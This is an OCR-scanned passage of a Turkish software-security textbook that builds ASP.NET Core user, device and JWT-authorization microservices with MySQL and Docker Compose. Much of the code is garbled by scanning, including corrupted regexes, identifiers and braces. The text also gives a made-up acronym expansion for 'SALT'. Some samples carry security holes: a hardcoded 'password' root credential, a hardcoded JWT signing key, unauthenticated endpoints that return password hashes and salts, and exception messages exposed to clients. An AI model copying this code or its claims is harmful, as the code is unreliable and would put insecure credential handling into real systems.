' 7. Adim: Models klasorii igine User.cs adinda bir sinif olusturunuz. Bu sinif, veri tabanindaki kullanici '
1 tablosunu temsil eder. 1

public class User

{
[Key]
[Column(“user_id”)]

public int Id { get; set; }

[Column(“user_name?)]
[Required]

public required string UserName { get; set; }

[Column(“user_email”)]
[Required]
public required string Email { get; set; }

[Column(“password”)]
[Required]
public required string Password { get; set; }

[Column(“salt™)]
public string? Salt { get; set; }
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' 8. Adim: UserServiceWebAPI projesi icine Data adinda yeni bir klasor olusturunuz.

! 9 Adim: Data klasori icine UserDbContext adinda bir sinif olusturunuz.

DbContext, Entity Framework isim alaninda bulunan bir siniftir ve Entity Framework, .NET
platformunda veri tabani islemlerini yonetmek icin kullanilan bir ORM (Object-Relational
Mapping) aracidir. ORM araglari, nesne odakli programlama ile iliskisel veri tabanlari
arasindaki etkilesimi kolaylastirmak igin tasarlanmistir.

DbContext, bir veri tabani baglantisi Gzerinden Entity Framework ile etkilesimde bulunmak icin kullanilir.
Bu sinif, uygulamanin veri tabanindaki nesneleri temsil eden ve bu nesnelerle etkilesimde bulunmayi
saglayan bir araylizdir. DbContext sinifi; veri tabani islemlerini gerceklestirme, veri okuma veya yazma,
veri glincelleme ve sorgulama gorevlerini yonetmek icin kullanihr.

public sealed class UserDbContext : DbContext

{

public UserDbContext(DbContextOptions<UserDbContext> dbContextOptions) : base(db-
ContextOptions)

{
try
{
// Veri tabani olusturucu (database creator) almak i¢in Entity Framework
kullanilar.

if (Database.GetService<IDatabaseCreator>() is not RelationalDatabaseCreator
databaseCreator) return;

// Veri tabaniyla baglanti kurulabilirse (CanConnect) baglanti kurar.

if (!databaseCreator.CanConnect()) databaseCreator.Create();

// Veri tabaninda tablolar olusturulmamissa tablolari olusturur.

if (!databaseCreator.HasTables()) databaseCreator.CreateTables();

}

catch (Exception e)

{
Console.WriteLine(e);
throw;

}

}

public required DbSet<User> Users { get; set; 1}




’ 3. OGRENME BiRiMi

Bir sinifi veya servisi projede dogrudan kullanmak, proje i¢in bagimlilik problemlerine yol agar.
MSSQL veri tabani kullanan bir servis, projede dogrudan kullanilirken daha sonradan projenin
veri tabani baska bir platforma (6rnegin MySQL) tasindiginda proje lzerinde bircok degisiklik
yapmak gerekir. Bu bagimlihgl yok etmek icin Dependency Injection (Bagimlilik Enjeksiyonu)
yontemi kullanilir. Servisin veya sinifin yapacagi islemler bir arayliz olarak tanimlanir. Daha
sonra bu araylizden tiretilen siniflar proje iginde kullanilir.

public interface IUserRepository

{
// Kullaniciyi, kullanici adina gére getir.
Task<User?> GetUserByUsernameAsync(string username);

// Kullaniciyi ID’ye gére getir.
Task<User?> GetUserByIdAsync(int userId);

// Tim kullanicilari getir.
Task<IEnumerable<User>> GetAllUsersAsync();

// Yeni bir kullanici ekle.
Task<User> AddUserAsync(User user);

// Kullanici bilgilerini giincelle.
Task UpdateUserAsync(User user);

// Kullaniciya sil.
Task DeleteUserAsync(int userId);

Repository (depo) terimi, veri tabani islemlerini soyutlamak ve yonetmek amaciyla kullanilan
bir tasarim desenini ifade eder. Repository tasarim deseni, uygulama kodunun dogrudan veri
tabani islemleriyle ugrasmamasini saglar. Bunun yerine bir veri tabani tablosu veya nesnesi
Uzerinde islemler yapmak icin bir arayliz saglar.

public class UserRepository : IUserRepository

{
private readonly UserDbContext _dbContext;
public UserRepository(UserDbContext userDbContext)
{
_dbContext = userDbContext;
3
public async Task<User?> GetUserByUsernameAsync(string username)
{
return await _dbContext.Users.FirstOrDefaultAsync(u => u.UserName==
username) ;
3

public async Task<User?> GetUserByIdAsync(int userId)
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{
return await _dbContext.Users.FindAsync(userId);
}
public async Task<IEnumerable<User>> GetAllUsersAsync()
{
return await _dbContext.Users.ToListAsync();
}
public async Task<User> AddUserAsync(User user)
{
_dbContext.Users.Add(user);
await _dbContext.SaveChangesAsync();
return user;
3
public async Task UpdateUserAsync(User user)
{
_dbContext.Entry(user).State = EntityState.Modified;
await _dbContext.SaveChangesAsync();
}

public async Task DeleteUserAsync(int userId)

var user = await _dbContext.Users.FindAsync(userId);
if (user != null)
i

_dbContext.Users.Remove(user);

await _dbContext.SaveChangesAsync();

' 13. Adim: Services adinda yeni bir klasor olusturunuz.

' 14 Adim: |UserService adinda yeni bir arayiliz olusturunuz.

public interface IUserService
{
Task<User?> GetUserAsync(int userlId);
Task<User?> GetUserByUsernameAsync(string username);
Task<IEnumerable<User>> GetAllUsersAsync();
Task<User> CreateUserAsync(User user);
Task DeleteUserAsync(int userId);
Task<User?> VerifyUser(string username, string password);

Servisler (Services), uygulama icindeki belirli islemleri gerceklestiren ve is mantigi kurallarini
uygulayan yazilim bilesenleridir.

public class UserService : IUserService
{

public async Task<User?> GetUserAsync(int userId)

}
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public async Task<User?> GetUserByUsernameAsync(string username)
1
}

public async Task<IEnumerable<User>> GetAllUsersAsync()
1
}

public async Task<User> CreateUserAsync(User user)
{
}

public async Task DeleteUserAsync(int userId)

public async Task<User?> VerifyUser(string username, string password)

' 16. Adim: User servisinin veri tabaniyla islem yapmasi icin UserRepository sinifinin bagimhigini enjekte | )
Iedenkoduyazmlz 1

public class UserService : IUserService
{

private readonly IUserRepository _userRepository;
public UserService(IUserRepository userRepository)

{

_userRepository = userRepository;

public async Task<User?> GetUserAsync(int userId)

1
3

return await _userRepository.GetUserByIdAsync(userId);

public async Task<User?> GetUserByUsernameAsync(string username)

1
3

return await _userRepository.GetUserByUsernameAsync(username);

public async Task<IEnumerable<User>> GetAllUsersAsync()

return await _userRepository.GetAllUsersAsync();

// Ek veri dogrulama ve is mantigi islemleri burada gerceklestirilebilir.
await _userRepository.DeleteUserAsync(userId);
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public async Task<User> CreateUserAsync(User user)

{ // Kullanici adi dogrulamasi
// Sifre dogrulamasi
// Kullanici adinin benzersizligini kontrol et.
// Sifreleme islemi
// Kullaniciyi veri tabanina kaydet.
}

Yeni bir kullanici eklemek icin kullanici adi dogrulamasi, sifre dogrulamasi, benzersiz kullanici
adi dogrulamasi gibi birka¢ dogrulama yapilir.

Regex [Regular Expression (Diizenli ifade)]; metin tabanl veriler icinde desen aramak,
eslestirmek, degistirmek, siralamak gibi islemleri yapmak icin kullanilan bir dildir. Regex
genellikle bir karakter dizisinin icinde belirli bir yapiyi tanimlamak igin kullanilir ve bu yapilar
genellikle bir dilin kurallarina uygun olarak belirli bir deseni ifade eder. Kullanilan Regex, metnin
a’dan z'ye tim kicuk ve blyitk harfleri, 0’dan 9'a kadar tiim sayilari ve 6zel karakter olarak
sadece _ (alt cizgi) karakterlerini kabul edecegini ifade eder. Boylelikle kullanicinin, hatali
kullanici adi girisleri engellenir.

public partial class InputValidator
{
public bool IsUsernameValid(string username)
{
// Kullanici adi bos olmamali ve desene uygun olmalidir.
return !string.IsNullOrEmpty(username) && UsernameRegex().
IsMatch(username);

}

// Kullanici adi ig¢in gegerli Kkarakterlerin Regex deseni
[GeneratedRegex(“"[a-zA-Z0-9_]%$")]
private static partial Regex UsernameRegex();

public async Task<User> CreateUserAsync(User user)
{
// Kullanici adi dogrulamasi
if (!_inputValidator.IsUsernameValid(user.UserName))

throw new ArgumentException(“Gegersiz kullanici adi formati.”);
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I23 Adim: Sifre dogrulama islemi igin InputValidator sinifi igcinde gerekli degisiklikleri yapiniz ($|freI
degermln bos olmamasi, en az 8 karakterden olusmasi, en az bir blyik harf, bir kiicik harf ve b|rI
'rakan1|gern1e5|gerek|r) !

public bool IsPasswordValid(string password)
{
// Sifre en az 8 karakter uzunlugunda ve 6zel gereksinimlere uygun olmalidair.
// Bu odrnekte en az bir biiyilk harf, bir kigiik harf ve bir rakam icermesi
gerekir.
return !string.IsNullOrEmpty(password) &&
password.Length >= 8 &&
PasswordRegex().IsMatch(password);
}
// Sifre igin gegerli karakterlerin Regex deseni
[GeneratedRegex(“"(?=.*[a-z])(?=.*x[A-Z]1)(?=.%\\d).+$")]
private static partial Regex PasswordRegex();

// Sifre dogrulamasi
if (!_inputValidator.IsPasswordValid(user.Password))

throw new ArgumentException(“Gecersiz sifre formati.”);

! 25 Adim: Kullanici adinin benzersizligini kontrol etmek icin UserService igine kullanici adi benzersizlik :
1 kontrolu metodu ekleyerek, veri tabani igcinde ayni isimde bir kullanici olup olmadigini kontrol ed|n|z 1

private async Task<bool> IsUsernameUnique(string username)
{
// Kullanici adinin benzersizligini veri tabaninda kontrol et.
var existingUser = await _userRepository.
GetUserByUsernameAsync(username);
return existingUser == null;

// Kullanici adinin benzersizligini kontrol et.

if (lawait IsUsernameUnique(user.UserName)) throw new ArgumentException(“Bu
kullanici adi zaten kullanilayor.”);

Kullanicilarin sifrelerini veri tabanina kaydetmek bir giivenlik zafiyetidir. Veri tabaninda agik
metin olarak saklanan sifreler, veri tabanina yetkisiz erisim saglandiginda ortaya cikarabilir.
Sifre metinleri, veri tabanina kodlanarak (hashing) kaydedilir. Hashing, glvenlik zafiyetini
engellemek igin kullanilan bir yontemdir. Tum kullanicilarin sifreleri, ayni kodlama teknigi ile
veri tabanina kaydedildiginde baska bir glivenlik zafiyeti ortaya cikar. Veri tabanini ele geciren
bir kisi, kendi sifresinden yola ¢ikarak diger kullanicilarin da sifrelerini ele gegirebilir. Bu durumu
onlemek igin her kullanicinin sifresi ayri bir kodlamayla kaydedilebilir.

SALT [Securely Available Login Token (Giivenli Bir Sekilde Kullanilabilen Giris Jetonu)] genellikle
sifreleme algoritmalarinda ve parola yonetimi uygulamalarinda kullanilan bir glivenlik 6nlemidir. SALT,
parolalarin 6nceden belirlenmis rastgele bir degerle birlestirilerek sifrelenmesi anlamina gelir. Bu islem,
ayni parolanin farkh kullanicilarda farkli sifreleme sonuglarina sahip olmasini saglar ve gesitli glivenlik
saldirilarina karsi direng olusturur.
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SALT’in kullanilmasi 6zellikle rainbow table saldirilarina karsi bir savunma mekanizmasi saglar. Rainbow
table, 6nceden hesaplanmis biiylk bir parola kiimesini iceren bir tabloyu kullanarak sifreleri ¢gzmeye

calisan saldirilardir. SALT kullanilmazsa ayni parola her zaman ayni sifreleme sonucunu liretecegi icin bu
tur saldirilara karsi direng zayiflar.

1. SALT Kullanilmadan Sifreleme
Parola: «password»

SALT olmadan sifreleme: MD5(«password») = 5f4dcc3b5aa765d61d8327deb882cf99
2. SALT Kullanilarak Sifreleme

Parola: «password»
SALT: «abc123»

SALT kullanarak sifreleme: MD5(«abc123password») = 1a1dc91c907325c69271ddf0c944bc72

// Rastgele bir SALT olustur.
private static byte[] GenerateSalt()

1
using var rng = RandomNumberGenerator.Create();
var salt = new byte[16]; // 16 byte SALT olustur.
rng.GetBytes(salt);
return salt;

}

' 28. Adim: UserService sinifi icinde sifreyi ve SALT kullanarak karma degeri hesaplayan metodu ekle- '
Iylmz
// SALT Kkullanarak sifrenin karma (hash) degerini hesapla.
private static string HashPassword(string password, byte[] salt)

i
var passwordBytes = Encoding.UTF8.GetBytes(password);
var saltedPassword = new byte[passwordBytes.Length + salt.Length];
Array.Copy(passwordBytes, saltedPassword, passwordBytes.Length);
Array.Copy(salt, 0, saltedPassword, passwordBytes.Length, salt.Length);
var hash = SHA512.HashData(saltedPassword);
return Convert.ToBase6uUString(Chash);

3

// Sifreleme islemi

var salt = GenerateSalt();

user.Salt = Convert.ToBase6UString(salt);
user.Password = HashPassword(user.Password, salt);

' 30. Adim: UserService sinifi icinde CreateUserAsync metoduna veri tabanina kaydetme islemi kodla- !
-nnleHeynnz

// Kullaniciyi veri tabanina kaydet.

return await _userRepository.AddUserAsync(user);
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public async Task<User?> VerifyUser(string username, string password)

var user = await _userRepository.GetUserByUsernameAsync(username);
if (user == null) return null;

var salt = Convert.FromBase6uUString(user.Salt!);

if( user.Password != HashPassword(password, salt)) return null;

return user;

' 32. Adim: Controllers klaséru icine UsersController adinda bos bir API Controller (Gérsel 3.13) olus- !
1 turunuz

API Controller, bir web API (Application Programming Interface) gelistirmek igin kullanilan
bir Controller tirtdir. API, uygulamalar arasinda veri alisverisi saglayan bir araytzdir. API
Controller, bu veri alisverisini yoneten ve isleyen bir bilesen olarak gorev yapar.

API Controller genellikle RESTful (Representational State Transfer) veya diger web API standartlarini
takip eder. HTTP protokolii tizerinden cesitli HTTP metodlari (GET, POST, PUT, DELETE vb.) kullanilarak
erisilen u¢ noktalari (endpoints) tanimlar.

API Controller, gelen istekleri isler ve isleme uygun HTTP yanitlari Uretir. Genellikle veri tabanina erisim,
is mantiginin uygulanmasi, verilerin formatlanmasi gibi gérevleri yonetir.

Add New Scaffolded Item

4 |nstalled
4 Common
% API Controller - Empty
API
P MVC

‘[: API Controller with read/write actions
Razor Component

Razor Pages
Identity
Layout

‘]:: API Controller with actions, using Entity Framework
‘[: API with read/write endpoints

‘[: APl with read/write endpoints, using Entity Framework

Gorsel 3.13: API Controller olusturma penceresi

[Route(“api/[controller]”)]
[ApiController]
public class UsersController : ControllerBase

{

private readonly IUserService _userService;

public UsersController(IUserService userService)

1
}

_userService = userService;
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[HttpGet(“{id:int}”, Name = “GetUser”)]
public async Task<IActionResult> GetUser(int id)

{
try
{
var user = await _userService.GetUserAsync(id);
if (user == null) return NotFound();
return Ok(Cuser);
}
catch (Exception ex)
{
return StatusCode(500, $”Ic sunucu hatasi: {ex.Message}”);
}
}

[HttpGet(“username/{username}”)]
public async Task<IActionResult> GetUserByUsername(string username)

try

{
var user = await _userService.GetUserByUsernameAsync(username);
if (user == null) return NotFound();
return Ok(user);

}
catch (Exception ex)
{
return StatusCode(500, $”Ic¢ sunucu hatasi: {ex.Message}”);
}
}
[HttpGet]

public async Task<IActionResult> GetAllUsers()
try

var users = await _userService.GetAllUsersAsync();
return Ok(users);

}
catch (Exception ex)
{
return StatusCode(500, $”I¢ sunucu hatasi: {ex.Message}”);
}

[HttpPost]
public async Task<IActionResult> CreateUser([FromBody] User? user)

{

try
if (user == null)
{
return BadRequest(“Kullanici nesnesi bos”);
}

var createdUser = await _userService.CreateUserAsync(user);
return CreatedAtRoute(“GetUser”, new { id = createdUser.Id },
createdUser);
}

catch (Exception ex)

{
}

return StatusCode(500, $”Ic sunucu hatasi: {ex.Message}”);
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[HttpDelete(“{id:int})]
public async Task<IActionResult> DeleteUser(int id)

{
try
{
var user = await _userService.GetUserAsync(id);
if (user == null)
{
return NotFound();
}
await _userService.DeleteUserAsync(id);
return NoContent();
}
catch (Exception ex)
{
return StatusCode(500, $”I¢ sunucu hatasi: {ex.Message}”);
3
}

' 37. Adim: UserController sinifina kullanici dogrulama metodunu yazarak Models klaséru iginde User- |
1 VerlﬁcatlonRequest adinda bir sinif olusturunuz.

public class UserVerificationRequest

{
public string UserName { get; set; }
public string Password { get; set; }

[HttpPost(“verify-user”)]
public async Task<IActionResult> VerifyUser([FromBody] UserVerificationRequest

request)
{
try
var user = await _userService.VerifyUser(request.UserName, request.
Password);
if (user != null)
{
return Ok(user);
}
else
{
return BadRequest(“Kullanici dogrulanamadi.”);
}
}
catch (Exception ex)
{

return StatusCode(500, $”Ic sunucu hatasi: {ex.Message}”);

}




YAZILIM GUVENLIGI

using UserServiceWebAPI.Data;

using UserServiceWebAPI.Repositories;

using UserServiceWebAPI.Services;

using Microsoft.EntityFrameworkCore;

var builder = WebApplication.CreateBuilder(args);

builder.Services.AddControllers();
builder.Services.AddEndpointsApiExplorer();
builder.Services.AddSwaggerGen();

// UserService ve UserRepository bagimlilik enjeksiyonu
builder.Services.AddScoped<IUserService, UserService>();
builder.Services.AddScoped<IUserRepository, UserRepository>();

// Veri tabani baglanti enjeksiyonu

var dbHost = Environment.GetEnvironmentVariable(“DB_HOST?”);

var dbPort = Environment.GetEnvironmentVariable(“DB_PORT”);

var dbName = Environment.GetEnvironmentVariable(“DB_NAME?”);

var dbPassword = Environment.GetEnvironmentVariable(“DB_ROOT_PASSWORD”);

var connectionString = $”server=

{dbHost}; port={dbPort};database={dbName};user=root;password={dbPassword}”;
builder.Services.AddDbContext<UserDbContext>(o =>
0.UseMySQL(connectionString));

var app = builder.Build();

if (app.Environment.IsDevelopment())
{

app.UseSwagger();
app.UseSwaggerUI(Q);

app.UseHttpsRedirection();
app.UseAuthorization();
app.MapControllers();
app.Run();

version: ¢3.4°
services:
userdb:
container_name: user-db
image: mysql:latest
environment:- MYSQL_ROOT_PASSWORD=password

networks: - backnet
userservicewebapi:
image: ${DOCKER_REGISTRY-}userservicewebapi
build:
context:
dockerfile: UserServiceWebAPI/Dockerfile
networks: - backnet
depends_on: - userdb
environment:

— DB_HOST=userdb
- DB_NAME=es_user
— DB_ROOT_PASSWORD=password
— DB_PORT=3306
networks:
backnet:
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Debug - AnyCPU - docker-compose - p Docker Compose ~ [>»

Gorsel 3.14: Docker-compose olarak uygulamayi ¢alistirma

UserServiceWebAP| ® &=

hitps:/localhost 53498/swaggerivi/swagoer json

Users

fapi/Users/{id}

]S B)= fapifUsers/{id}

GET /api/Users/username/{username}

GET fapi/Users

POST fapi/Users

POST fapi/Users/verify-user

Gorsel 3.15: UserServiceWebAPI istekleri

Guvenli bir kod yazimi igin her bir sinifin sadece kendi tanimh oldugu isleri gergeklestirmesi gerekir.
Bu islem, kod yazimi sirasinda yazilimcinin daha fazla kod satiri yazmasina neden olur ancak uygulama
testleri yapilmasi, hata giderilmesi ve ilerideki kod degisiklikleri icin biyik bir kolaylik saglar.

ARASTIRMA )

SOLID ve DRY yazilim gelistirme prensiplerini arastirarak avantajlarini ve dezavantaj-
larini arkadaslarinizla sinifta tartisiniz.

3.3.2. Cihaz Web API Mikroservisi

Web API mikroservisi, 10T cihazlarinin veri tabani islemlerini gergeklestirir. Cihazlarin gonderdigi verileri
glvenli bir sekilde depolamak, gerektiginde sorgulamak ve analiz etmek icin veri tabani sistemleriyle
entegre etmek gereklidir. Mikroservis genellikle veri tabani islemleri icin hizli ve 6lgeklenebilir veri
tabani sistemleriyle entegre edilir. Ayrica veri tabani islemlerini optimize etmek ve hata durumlarini
yonetmek icin uygun glvenlik ve yedekleme 6nlemleri alinir.
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UYGULAMA

> Microservices klasori olusturarak bu klasor icine DeviceServiceWebAPI adinda bir
Asp.Net Core Web API projesini verilen adimlar dogrultusunda gergeklestiriniz.

! 1 Adim: Nuget paket yoneticisi ile MySql.EntityFrameworkCore 7.0.5 yikleyiniz.

' 2 Adim: Models klasori olusturunuz.
! '3. Adim: Models klasori icine Device adinda bir sinif olusturunuz.

[Table(“devices”)]

public class Device

{

[Key]
[Column(«device_id”)]
public int Id { get; set; }

[Required]
[Column(“device_name?”)]

public required string DeviceName { get; set; }

[Required]
[Column(“user_id”)]

public int UserId { get; set; }

[Required]
[Column(“device_code”)]

public required string DeviceCode { get; set; }

'4 Adim: Data klasori olusturunuz.

! 5 Adim: Data klasori icine DeviceDbContext adinda bir sinif ekleyiniz.

public sealed class DeviceDbContext : DbContext

{

public DeviceDbContext(DbContextOptions<DeviceDbContext> dbContextOptions) :

base(dbContextOptions)

try
1

if (Database.GetService<IDatabaseCreator>() is not RelationalDataba-

seCreator databaseCreator) return;

if(!databaseCreator.CanConnect()) databaseCreator.Create();

if(!databaseCreator.HasTables()) databaseCreator.CreateTables();




3. OGRENME BiRiMi

catch (Exception e)

{
Console.WritelLine(e);

throw;

}

public required DbSet<Device> Devices { get; set; 1}

'6 Adim: Repositories adinda bir klasor olusturunuz.

! 7 Adim: IDeviceRepository adinda bir arayliz olusturunuz.

public interface IDeviceRepository

i
Task<Device?> GetDeviceByIdAsync(int id);
Task<IEnumerable<Device>> GetAllDevicesByUserIdAsync(int userId);
Task<Device> AddDeviceAsync(Device device);
Task UpdateDeviceAsync(Device device);
Task DeleteDeviceAsync(int id);

}

public class DeviceRepository : IDeviceRepository

{
private readonly DeviceDbContext _dbContext;
public DeviceRepository(DeviceDbContext deviceDbContext)
{
_dbContext = deviceDbContext;
}
public async Task<Device?> GetDeviceByIdAsync(int id)
{
return await _dbContext.Devices.FindAsync(id);
}
public async Task<IEnumerable<Device>> GetAllDevicesByUserIdAsync(int userId)
i
o return await _dbContext.Devices.Where(d=>d.UserId == userId).ToListAsy-
ncQ);

}

public async Task<Device> AddDeviceAsync(Device device)
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{
_dbContext.Devices.Add(device);
await _dbContext.SaveChangesAsync();
return device;
}
public async Task UpdateDeviceAsync(Device device)
{
_dbContext.Entry(device).State = EntityState.Modified;
await _dbContext.SaveChangesAsync();
}
public async Task DeleteDeviceAsync(int id)
{
var device = await _dbContext.Devices.FindAsync(id);
if (device != null)
{
_dbContext.Devices.Remove(device);
await _dbContext.SaveChangesAsync();
}
}

I 9 Adim: Services adinda bir klasér olusturunuz. !

! 10 Adim: Services klasori igcinde IDeviceService adinda bir araylz olusturunuz. !

public interface IDeviceService

i
Task<Device?> GetDeviceByIdAsync(int id);
Task<IEnumerable<Device>> GetAllDevicesByUserIdAsync(int userId);
Task<Device> CreateDeviceAsync(Device device);
Task UpdateDeviceAsync(Device device);
Task DeleteDeviceAsync(int id);

}

public class DeviceService : IDeviceService
{

private readonly IDeviceRepository _deviceRepository;

public DeviceService(IDeviceRepository deviceRepository)
i

_deviceRepository = deviceRepository;




}
public async Task<Device?> GetDeviceByIdAsync(int id)
{

return await _deviceRepository.GetDeviceByIdAsync(id);

public async Task<IEnumerable<Device>> GetAllDevicesByUserIdAsync(int userId)
1

return await _deviceRepository.GetAllDevicesByUserIdAsync(userId);

public async Task<Device> CreateDeviceAsync(Device device)
{

return await _deviceRepository.AddDeviceAsync(device);

public async Task UpdateDeviceAsync(Device device)

i
await _deviceRepository.UpdateDeviceAsync(device);
}
public async Task DeleteDeviceAsync(int id)
i
await _deviceRepository.DeleteDeviceAsync(id);
}

[Route(“api/[controller]”)]
[ApiController]

public class DevicesController : ControllerBase

{

private readonly IDeviceService _deviceService;

public DevicesController(IDeviceService deviceService)

{

_deviceService = deviceService;

[HttpGet(“{id:int}”, Name = “GetDevice”)]

public async Task<IActionResult> GetDevice(int id)



try
{
var devices = await _deviceService.GetDeviceByIdAsync(id);
if (devices == null) return NotFound();
return Ok(devices);
}
catch (Exception ex)
{
return StatusCode(500, $”I¢ sunucu hatasi: {ex.Message}”);
}

}
[HttpGet(“user/{userid:int}”, Name = “GetAllDevicesById”)]
public async Task<IActionResult> GetAllDevicesById(int userid)
{
try
{
var devices = await _deviceService.GetAllDevicesByUserIdAsync(userid);
return Ok(devices);

}
catch (Exception ex)
{
return StatusCode(500, $”Ic¢ sunucu hatasi: {ex.Message}”);
}
}
[HttpPost]

public async Task<IActionResult> CreateDevice([FromBody] Device? device)

{

try
{
if (device == null)
{
return BadRequest(“Cihaz nesnesi bos”);
}

var createdDevice = await _deviceService.CreateDeviceAsync(device);

return CreatedAtRoute(“GetDevice”, new { id = createdDevice.Id },
createdDevice);

}

catch (Exception ex)
{

return StatusCode(500, $”Ic sunucu hatasi: {ex.Message}”);
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}

[HttpPut(“{id:int}”)]
public async Task<IActionResult> UpdateDevice(int id, [FromBody] Device? de-

if (device == null)
{
return BadRequest(“Cihaz nesnesi bos”);
}
device.Id = id;
await _deviceService.UpdateDeviceAsync(device);
return NoContent();

catch (Exception ex)

vice)
i
try
{
}
1
}
}

return StatusCode(500, $”I¢ sunucu hatasi: {ex.Message}”);

[HttpDelete(“{id:int}”)]
public async Task<IActionResult> DeleteDevice(int id)

var device = await _deviceService.GetDeviceByIdAsync(id);
if (device == null)
{
return NotFound();
}
await _deviceService.DeleteDeviceAsync(id);
return NoContent();

catch (Exception ex)

i
try
1
}
1
3
}

return StatusCode(500, $”I¢ sunucu hatasi: {ex.Message}”);

using DeviceServiceWebAPI.Data;




using DeviceServiceWebAPI.Repositories;
using DeviceServicelWlebAPI.Services;

using Microsoft.EntityFrameworkCore;

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddControllers();
builder.Services.AddEndpointsApiExplorer();

builder.Services.AddSwaggerGen();

// Service ve Repository bagimlilik enjeksiyonu
builder.Services.AddScoped<IDeviceService, DeviceService>();

builder.Services.AddScoped<IDeviceRepository, DeviceRepository>();

var dbHost = Environment.GetEnvironmentVariable(“DB_HOST”);
var dbPort = Environment.GetEnvironmentVariable(“DB_PORT”);
var dbName = Environment.GetEnvironmentVariable(“DB_NAME?”);
var dbPassword = Environment.GetEnvironmentVariable(“DB_ROOT_PASSWORD”);

var connectionString = $”server={dbHost};port={dbPort};database={dbName};user=ro-
ot;password={dbPassword}”;

builder.Services.AddDbContext<DeviceDbContext>(o => o.UseMySQL(connectionSt-
ring));

var app = builder.Build();

if (app.Environment.IsDevelopment())
{
app.UseSwagger();
app.UseSwaggerUI(Q);

app.UseHttpsRedirection();
app.UseAuthorization();
app.MapControllers();
app.Run();

1'14. Adim: Projeye Docker Compose konteyner ydneticisi destegini ekleyiniz.

1'15. Adim: Docker-compose.yml dosyasinda gerekli degisiklikleri yapiniz.

deviceservicewebapi:
image: ${DOCKER_REGISTRY-}deviceservicewebapi
build:

context:



3. OGRENME BiRiMi

dockerfile: DeviceServiceWebAPI/Dockerfile
networks:
- backnet
depends_on:
- devicedb
environment:
DB_HOST=devicedb
DB_NAME=es_devices
DB_ROOT_PASSWORD=password
DB_PORT=3306

devicedb:
container_name: device-db
image: mysql:latest
environment:
— MYSQL_ROOT_PASSWORD=password
networks:

- backnet

'16. Adim: Docker-compose olacak sekilde uygulamayi ¢alistiriniz.

117. Adim: Tarayicida uygulama servislerini test ediniz (Gorsel 3.16).

@ svagger

by SMARTREAR

DeviceServiceWebAP| ®

hitps:/Mocalhost:53709/swagger/v1/swagger.json

Devices ~
GE /api/Devices/{id} WV
/api/Devices/{id} v
‘m fapi/Devices/{id} v.
GET /api/Devices/user/{userid} A
ol /api/Devices a4

Gorsel 3.16: DeviceServiceWebAPI istekleri
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3.3.3. Yetkilendirme Mikroservisi

Yetkilendirme mikroservisi, bir uygulamanin kimlik dogrulama, erisim kontroll gibi yetkilendirme
islemlerini yoneten ve saglayan bir mikroservistir. Genellikle bir sistemde birden ¢ok uygulama veya
hizmet bulundugunda kullanicilarin kimlik dogrulamasini saglamak ve bu kullanicilarin belirli kaynaklara
(veri, hizmet, vb.) erisimini kontrol etmek zorunludur. Bu gorevler, yetkilendirme mikroservisi tarafindan
yerine getirilir.

Yetkilendirme mikroservisi genellikle OAuth 2.0 veya OpenlD Connect gibi standart kimlik dogrulama
protokollerini kullanir. Bu protokoller, giivenli kimlik dogrulama ve yetkilendirme saglamak icin dnceden
tanimlanmis bir dizi is akisi ve protokol belirtir. Yetkilendirme mikroservisi, su temel islevleri saglar:

Kimlik Dogrulama (Authentication): Kullanicilarin kimliklerini dogrulamak igin gerekli mekanizmalari
saglar. Kullanici adi, parola, JWT, sosyal medya hesaplari gibi farkli kimlik dogrulama yéntemlerini
destekleyebilir.

Yetkilendirme (Authorization): Kimlik dogrulamasi basarili olduktan sonra kullanicilarin belirli
kaynaklara erisimini kontrol eder. Rol bazl erisim kontrolii, kaynak tabanli erisim kontroll gibi farkl
yetkilendirme stratejileri kullanilabilir.

Token Yonetimi: Kimlik dogrulama sonrasi kullaniciya erisim belirten tokenlari yonetir. Bu tokenlar
genellikle JWT (JSON Web Token) formatinda ve belirli bir siire boyunca gecerli olur.

Kullanici Yonetimi: Kullanici hesaplarini olusturma, silme, glincelleme ve kullanici bilgilerini yonetme
islevlerini saglar.

Sertifika Yonetimi: Glvenlik sertifikalarini olusturma, dagitma ve yonetme islemlerini gerceklestirir.

Oturum Yo6netimi (Session Management): Kullanici oturumlarini yonetir ve gerektiginde oturum
bilgilerini saklar.

Audit ve Loglama: Kullanici etkinliklerini izleme, glinlikleme ve denetleme islevlerini saglar.

Yetkilendirme mikroservisleri genellikle glivenlik acgisindan 6nemli bir role sahiptir ve bu nedenle
glvenligin saglanmasi igin gelismis giivenlik dnlemlerini almaldir. Bununla birlikte 6lgeklenebilirlik,
yuksek erisilebilirlik gibi mikroservis mimarisinin avantajlarini kullanarak uygulamanin ihtiyaglarini
karsilamalidir.

UYGULAMA

> Yetkilendirme mikroservisi olusturma islemini verilen adimlar dogrultusunda
gerceklestiriniz.

' 1. Adim: Visual Studio programinda, Ev Asistani ¢coziimiinde JwtAuthenticationManager adinda b|r'

1 | Class Library projesi olusturunuz.
1

:2. Adim: Nuget paket yoneticisi ile Microsoft.ldentityModel.Tokens, System.ldentityModel.Tokens.
1 Jwt, Microsoft.AspNetCore.Authentication.JwtBearer ve Microsoft.Extensions.Dependencylnjection.

1
1
1
1
1
1 . e .. 1
1 Abstractions paketlerini ylkleyiniz. '
1 1
1
1
1
1

| 3. Adim: Proje igine Models adinda yeni bir klasor olusturunuz.

: '4. Adim: Models klasori icine UserAccount.cs adinda bir sinif olusturunuz.
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public class UserAccount

{
public string Id { get; set; }
public string UserName { get; set; }
public string Password { get; set; }
3

public class AuthenticationRequest

{
//public string Id { get; set; }
public string UserName { get; set; }
public string Password { get; set; }
}

public class AuthenticationResponse

{
public string UserId { get; set; }
public string UserName { get; set; }
public int ExpiresIn { get; set; }
public string JwtToken { get; set; }
3

' 7. Adim: Proje igine Services adinda yeni bir klasor olusturunuz.

! 8 Adim: Services klasori icine IUserService.cs adinda bir arayiliz olusturunuz.

public interface IUserService

{

public Task<HttpResponseMessage> ValidateUser(AuthenticationRequest requ-

public class UserService : IUserService

{
private readonly HttpClient _httpClient = new();

public UserService()

{

_httpClient.BaseAddress = new Uri(“http://userservicewebapi”);
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public async Task<HttpResponseMessage> ValidateUser(AuthenticationRequest
request)

{
// Istek verisini JSON’a déniistiiriin.

var jsonRequest = JsonSerializer.Serialize(request);

// JSON veriyi iceren HttpContent olusturun.

var content = new StringContent(jsonRequest, Encoding.UTF8, “applicati-
on/json”);

var response = await _httpClient.PostAsync($?/api/users/verify—-user?,
content);

return response;

public class JwtTokenHandler
{
public const string JwtSecurityKey = “ eyJuYW1lIjoiRnJ1ZVBhbGVzdGluzSJ9”;
